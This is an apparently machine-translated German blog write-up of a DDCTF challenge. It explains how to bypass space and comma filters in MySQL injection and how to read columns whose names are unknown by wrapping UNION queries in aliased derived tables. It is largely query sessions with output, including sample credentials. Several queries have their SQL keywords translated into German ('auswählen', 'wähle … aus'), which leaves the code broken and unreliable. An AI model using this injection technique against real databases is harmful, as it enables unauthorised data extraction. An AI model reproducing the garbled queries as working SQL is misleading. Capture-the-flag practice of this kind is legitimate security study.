So umgehen Sie unbekannte Feldnamen in MySQL

So umgehen Sie unbekannte Feldnamen in MySQL

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich die lokale Maschine, um sie zu betreiben. Die Idee ist großartig und klar. Teilen Sie sie mit allen. Schauen wir uns die ausführliche Einführung an:

Umsetzungsideen

Die Frage filtert Leerzeichen und Kommas. Leerzeichen können mit %0a, %0b, %0c, %0d, %a0 oder Klammern direkt umgangen werden. Kommas können mit „join“ umgangen werden.

Der Feldname, in dem das Flag gespeichert ist, ist unbekannt und information_schema.columns filtert auch den Hex-Wert des Tabellennamens heraus, d. h. der Feldname kann nicht abgerufen werden. In diesem Fall kann eine gemeinsame Abfrage verwendet werden. Der Vorgang ist wie folgt:

Die Idee besteht darin, die Flagge zu erhalten und sie unter einem bekannten Feldnamen erscheinen zu lassen.

Beispielcode:

mysql> auswählen (1 auswählen)a,(2 auswählen)b,(3 auswählen)c,(4 auswählen)d;
+---+---+---+---+
| ein | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | Administrator | admin888 | [email protected] |
| 2 | Test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+----------+----------+-------------+
4 Zeilen im Satz (0,01 Sek.)
 
mysql> wähle e.4 aus (wähle * aus (wähle 1)a,(wähle 2)b,(wähle 3)c,(wähle 4)d Union wähle * aus Benutzer)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 Reihen im Satz (0,03 Sek.)
 
mysql> wähle e.4 aus (Auswahl * aus (Auswahl 1)a,(Auswahl 2)b,(Auswahl 3)c,(Auswahl 4)d Union-Auswahl * aus Benutzer)e Limit 1 Offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
1 Zeile im Satz (0,01 Sek.)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
Union-Auswahl * vom Benutzer)e Limit 1 Offset 3)f, (Auswahl 1)g, (Auswahl 1)h, (Auswahl 1)i;
+-------------+----------+----------+-------------+
| ID | Benutzername | Passwort | E-Mail |
+-------------+----------+----------+-------------+
| 1 | Administrator | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 Reihen im Satz (0,04 Sek.)

Zusammenfassen

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, dass der Inhalt dieses Artikels Ihnen bei Ihrem Studium oder Ihrer Arbeit helfen kann. Wenn Sie Fragen haben, können Sie eine Nachricht hinterlassen. Vielen Dank für Ihre Unterstützung von 123WORDPRESS.COM.

Das könnte Sie auch interessieren:
  • Verhindern Sie XSS- und SQL-Injection: JS-Sonderzeichenfilterung regelmäßig
  • Eine SQL-Anweisung zum Filtern doppelter Daten
  • Zusammenfassung der MySQL-Injection-Bypass-Filtertechniken
  • SQL-Injection umgeht die Einschränkung auf einfache Anführungszeichen und setzt die Injektion fort
  • Zusammenfassung der SQL-Injection-Bypass-Techniken
  • Verwenden mehrspaltiger zusammengesetzter Indizes zum Umgehen eines Fehlers in Microsoft SQL Server
  • Einige wichtige Punkte zur Umgehung von SQL-Injection
  • Methode zum Wiederherstellen versehentlich gelöschter Heap-Tabellendatensätze im einfachen SQL Server-Modus (unter Umgehung der Header-Überprüfung)
  • SQL-Injection-Techniken: Detaillierte Analyse der Umgehung der Kommafilterung bei expliziten und blinden Injections

<<:  Tomcat erhält den Clientdomänennamen des Nginx-Reverse-Proxys

>>:  js implementiert eine einfache Methode zur Kapselung von jQuery und eine detaillierte Erklärung der Kettenoperationen

Artikel empfehlen

Vue implementiert ein einfaches Einkaufswagenbeispiel

In diesem Artikel wird der spezifische Code von V...

So verwenden Sie Vuex in einem Vue-Projekt

Inhaltsverzeichnis Was ist Vuex? Vuex-Nutzungszyk...

So implementieren Sie Element-Floating und Clear-Floating mit CSS

Grundlegende Einführung in das Floating Im Standa...

Detaillierte Erklärung der Mixins in Vue.js

Mixins stellen auf flexible Weise verteilte, wied...

So konfigurieren Sie nginx+php+mysql in Docker

Verstehen Sie zunächst eine Methode: Aufrufen ein...

Installieren Sie CentOS 7 auf VMware14 – Grafik-Tutorial

Einführung in CentOS CentOS ist eine Linux-Distri...

MySQL vollständig deinstallieren. Persönlicher Test!

MySQL sauber deinstallieren. Persönlich getestet,...

Implementierung von React Routing Guard (Routing-Interception)

React unterscheidet sich von Vue. Es implementier...